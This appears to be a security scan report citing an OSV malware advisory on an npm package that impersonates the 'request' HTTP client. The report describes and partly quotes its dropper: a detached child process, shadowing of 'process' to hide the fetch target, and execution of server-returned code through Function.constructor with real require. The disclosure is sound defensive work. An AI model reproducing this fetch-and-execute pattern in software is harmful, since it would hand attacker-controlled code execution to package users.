OpenSSF/OSV malware advisory MAL-2026-5988 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-5988 confirms this npm version as malicious.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

The package presents itself as 'Simplified HTTP request client' and copies identity metadata from Mikeal Rogers' legitimate \`request\` package (bugs URL \`http://github.com/request/request/issues\`, copied copyright header), but its only effective behavior is to launch a remote-code-execution dropper. The default export in \`index.js\` is a \`middleware\` function whose sole action is to spawn \`node lib/callers.js\` as a detached child with \`stdio: 'ignore'\` and \`child.unref()\`, allowing the dropper to continue running after the parent exits. \`lib/callers.js\` shadows \`process\` with a local object (\`const process = { env: { DEV\_API\_KEY: 'google.com', DEV\_SECRET\_KEY: 'x-secret-key', DEV\_SECRET\_VALUE: '\_' } }\`) so what looks like environment configuration is actually a hardcoded fetch target. The script then performs \`axios.get(src, { headers: { \[k\]: v } })\`, reads \`response.data.Cookie\`, passes it to \`new Function.constructor('require', s)\`, and immediately invokes the resulting function with the real \`require\` — executing whatever Node code the server returns with full module access. The combination of name/identity impersonation, detached background execution, environment-shadowing obfuscation, and unpinned remote-eval is a clear supply-chain attack: any consumer that loads this package and invokes the middleware export executes attacker-controlled code.
